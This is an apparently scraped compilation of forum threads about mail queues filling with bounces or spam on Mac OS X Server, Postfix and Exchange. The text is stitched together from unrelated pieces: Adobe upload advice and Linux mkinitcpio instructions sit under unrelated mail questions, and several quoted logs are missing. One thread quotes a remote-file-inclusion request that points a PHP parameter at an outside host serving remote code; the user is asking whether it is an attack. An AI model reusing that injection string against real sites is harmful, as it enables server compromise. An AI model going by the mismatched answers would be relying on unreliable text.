Mail queue filling with errors, is something broken?
Back in SL, I was able to just look at the queue in server app and if it ever had anything in it, I knew it was a problem and I usually could deal with it.
But in ML, you have to issue "mailq" in terminal to see it. So I did that a lot when first set up, and everything seemed fine.
I just checked it recently and found hundreds of messages like this:

I delete them and it fills up again.
Can anyone please tell me what's happening here and how to fix it?
Thank a bunch,
Scott
Here it is:

Outgoing mail queue fills with spam
I remember reading about how to fix this before - but cannot find the details now.
I have a server that is trying to send mail to non existant domains or non existant e-mail addressed. the mail is not originating from clients.
Typical entry in the mail queue is
Message ID: 60D7987570
Date: Thu Aug 17 06:18:36
Size: 34446
Sender: MAILER-DAEMON
Recipient(s) & Status:

host mail.cncnet.net[210.53.130.195] said: 450 4.1.1 <[email protected]>: Recipient address rejected: User unknown in local recipient table (in reply to RCPT TO command
how can I sent the mail server up to just ditch this stuff in the first place.
TimHere is an extract from the logs. I think I understand this now and it works as it should - but perhaps you could confirm.
This message is clearly not stuck in the outgoing queue. From what I can see mail is received from a backup mail relay for a non existent user on this server. When we try to reject it back to sender, if the sender rejects with 550 we bin it.
I guess the problem is what to do when the receiving mail server fails to respond? I think eventually it times out and we delete the message. Is that correct?

System.log filling with error messages
After SL update my system.log if filling with error messages.
Does any process delete the system.log periodically?
What's causing this error? Getting thousands of them.

Yes. There are three automatic jobs that run daily, weekly, and monthly doing this sort of thing. They run in the early hours of the morning if your Mac is awake, or shortly after it wakes up if it was sleeping. In Leopard, if it was powered-off, they won't run; I don't know if it's the same in Snow. -

At What Time are Device Queues Filled with Updates?
As you can see from other postings on this forum, we're currently experiencing upload problems for very large files, especially over slower internet connections. I suggest that you try to upload these files to your account at https://cloud.acrobat.com and then create Public links from there. You can then distribute the Public links for your users to access the files.

Mail queue filling up, delivery real slow
mail server is: 10.4.2 running on a dual 2 GHz Xserve 1 gig RAM
2 hard drives. 1 boot, 1 mail store
my mail queue is filling up with messages that can't be delivered. bad address usually. not sure why they make into the queue in the first place.
The queue reaches as high a 7000+ messages.
This is really killing my server. Can anyone shed some light??

Sorry for the long postconf output.
I did requeue all the messages with postsuper -r. I also put them all on hold (postsuper -h) which allowed for new messages to be delivered as usual. Deleting the queue was not an option. I am pretty sure now that it was a spam dictionary attack. But I am still concerned that this would effectively bring the server down.
I looked into recipient restrictions but don't see any easy way to maintain an accurate list of my users. Is there a way to pull them from the LDAP directory? I guess I could do that with a perl script, shouldn't be too hard. Is there an easier way? Something built in?
Anyway the server is fine now. As I said I put all the messages on hold then slowly released them back into the active queue. Once the server was able to get over its hang up it chewed through the remaining messages ok. This still brought my server down pretty much the entire day. Not acceptable in most countries.
Any other ideas are welcome!
Thanks,
Josh

Mail queue filling up - Delivery Temporarily Suspended Connection Refused
About 2 hours ago we stopped getting any email from our server. The mail queue is filling up. If I click on one of the messages in queue, it gives me a message of "delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]: connection refused".
What happened????
Thanks,
RobertMy configuration was running fine for months but suddenly every night amavisd stops running (I suppose after mailbfr ran). I have to launch amavisd manually with +sudo /bin/launchctl load -w /System/Library/LaunchDaemons/org.amavis.amavisd.plist+ every day.
Maybe something is wrong with my org.amavis.amavisd.plist? Here is it:

Mail Queue Filling Up - Spam?
Hi All,
Over the weekend the mail queue in SA filled up. This morning some users where complaining about outgoing messages not being delivered. When I checked the mail queue it had about 500 messages in it. All of them looked liked spam. When I deleted them, outgoing messages started being delivered.
I have no idea why that would happen. Could it mean a hacked machine on the network? I've turned off all of my window's machines overnight to see what happens.
here is my config file.

MacBook Pro 2.0 GHz 1 GB RAM Mac OS X (10.4.6)Thanks Jeff. I think the code injection maybe it. I have the server set to relay all outgoing messages to our ISP's mail server. When I look at the messages in the mail queue, all of them seem to be bounce backs from the ISP (domain name does not exist.)
When I look at the mail log for one the messages with the ID of 39E33163839, I see:

The line "//components/comsitemap/sitemap.xml.php?mosConfig_absolutepath=http://71.132.219.9/omg/remote.txt? HTTP/1.1" 404 -" seem to be that code injection. We don't have a file named sitemap.xml.php on our website.
Am I correct that this is a code injection?
I have three site running on this server. One is a plain old static site for the company it does not use PHP. One is webmail that came with OS X. The final one is an file storage site that does use PHP. It's a commercial code called Copper Project. I've turned off the site overnight to see if this still happens.
The link in in Jeff's post seems to suggest a simple fix. However, I know nothing about PHP programing, so this is beyond me.
Thanks

Would you like to mark Ed's reply as an answer so that others can find the solution easily.

Mail Queue filling up with DSN failures
So my Exchange 2010 queue viewer keeps filling up with failed DSNs. There is no sender (except for [email protected]). I have done some searching and the first thing that everyone usually mentions as a cause is SPAM. It's not SPAM. I know this
for two reasons:
1. We have a barracuda SPAM/AV firewall that all SMTP email goes through. None of these emails are there
2. We can see the subject of the email. The subject is a cronjob email from our linux servers. "Undeliverable Cron <cronuser@>..." But there is no source email to be found. Our linux server is not sending any.
Any idea what could be causing this?If they're DSNs, they could be sent from anywhere with a spoofed reply address.

Queue filling with outgoing spam, how do I stop it?
My queue has lately filled up with mail intended to go out as mail from [email protected] or [email protected], and the like.
I run Wordpress sites on this server and I updated all versions, fixed all folder permissions and changed all passwords. It stopped for a while after that, but it's back again.
I've checked all Wordpress logins and found no unauthorized IPs logging in. Can't find anything in the FTP or access logs that looks amiss.
I know we are not an open relay.
Can anybody tell me how I can track down how or where in the system these scumbags are getting in?
Really appreciate any help!

I strongly suspect that you need to change 'ide' to 'pata' in your /etc/mkinitcpio.conf
#HOOKS="base udev autodetect ide scsi sata usb keymap filesystems"
HOOKS="base udev autodetect pata scsi sata usb keymap filesystems"
Then recreate with:
mkinitcpio -g /boot/kernel26.img

Came into the office this morning and everyone is complaining they didn't get any email over the weekend. I log into SA to notice over 300 emails stuck in the queue. I found a couple threads regarding this and this one particularly is almost my exact situation:
http://discussions.apple.com/thread.jspa?messageID=1891076&
With the exception of upgrading the OS. I did actually have to add a virtual IP address to the same NIC that has the IP for our email. I did this because I was having SSL issues:
http://discussions.apple.com/thread.jspa?threadID=612479&tstart=0
Since I wasn't adding a new IP and not so much changing an IP, I didn't use the "changeip" command. Following some of the instructions from the above mentioned thread, I ran "sudo postsuper -r ALL" and this didn't seem to help at all. I then issued a "/sbin/reboot" to restart the email server and now it is in the process of sending all the email that are in the queue. Send and receive email is working properly.
So why the post since I have solved my own problem?
Because it makes me nervous that after adding an additional real-world IP to the extra NIC installed on the server, that it has been behaving this.
So... any thoughts or suggestions on how to prevent this in the future or how to fix this? Thanks.Ahhh! Yes, I did create an actual user for postmaster
and am using it so I could have an additional email
account in Mail.app to monitor email that was
improperly addressed. Usually I find about 1-2
emails a week where someone improperly mis-spelled
someones address and therefore I send it on to the
right place.
Should I delete the "postmaster" account in WGM? But
then how would I be able to check it's email?
Have a look in /etc/postfix/alias. The alias name is on the left (postmaster) and the name of the mail account used for it is on the right. Replace with your own short name or another (I usually set up a separate mailadmin user). But I don't really think that is causing your problem - its the actual receiving undeliverable mail which is generating the bounces back out.
Also in /etc/postfix/main.cf what's the difference
between "myhostname" and "mydomain". I have them
both configured the same with "mail.domain.com".
Should one be "domain.com" and the other
"mail.domain.com"?
myhostname is normally your hostname ( eg mail.domain.com) - what you want your server to use in its 'helo' command. Ideally should be the same as your MX record (and PTR record for your IP). Ideally they should all match but sometimes difficult.
mydomain - eg domain.com
Note that you will have to put the domain into the Local Hosts Alias pane (if not already there) if you previously only had it as your myhostname.

Mail for Exchange with error "Body Fetch Message T...
Hi,
I am just got the Nokia E71, and had installed the Mail for Exchange version 2.0.5(5), and had set all the required configuration (Exchange Server Name, UserName, Passowrd, Domain). But when I do the SYNC, it got the "System Error" from the log, and I check on the "admin_log1.txt", it show that "Body Fetch Message Too Large" error.
Any ideal on the error ? I have check the Access Point, there is working fine, as I can us the web browser on the phone, and no proxy setting
I also check all the Exchange configuration setting with using the Windows Mobile PDA phone to do the SYNC with our company Exchange server, it work fine with all the given configuration.
Please help.
Thank You very Much.Is Mail for exchange working after the update? I am able to setup my company email, but mails are not getting downloaded. I tried entering a wrong password for my company email (after deleting my profile), just to check if mfe is able to connect properly with my company email server. It is able to identify that the email password i entered was incorrect. Also when I enter the correct password, setup finishes successfully. But its not retrieving any emails. I am sure of the settings, since the same settings were working earlier. Only thing i am doubtful about is the port number. Port number by default comes as 443. Does it need to change? Is MFE working for anyone? My company email is ************@hcl.com. Can you pls suggest?

Nfragentd.log gets filled with error messages during FS scan
Hi,
We are seeing A LOT of error messages like this one in the nfragentd.log files (one scan can generate 4 full log files!):
less /var/opt/novell/filereporter/agent/log/nfragentd.log

Is it something to worry about, or is it something benign like the owner of the file has been deleted from eDir? If it is benign, how can this be suppressed?
Also this seems to delay the scan, so resolving this would improve scan performance.On 11/6/2014 9:46 AM, ablovatskia wrote:

Is there another way to "Retry" messages in the mail queue?
While changing service providers and finding out they had port 25 blocked, my queue filled with about a hundred messages. The block was removed from port 25 and all messages that were reported as "timed out" went through. Now I'm left with a dozen messages that "Host or domain name not found. Name service error for name=(verified_domain.com) type=MX: Host not found, try again" The domain and user are good, however the message will not go after clicking "Retry". Is there any way to "fix" these emails? Could this have been caused by a timeout while my server was looking up the address?
Thanks,
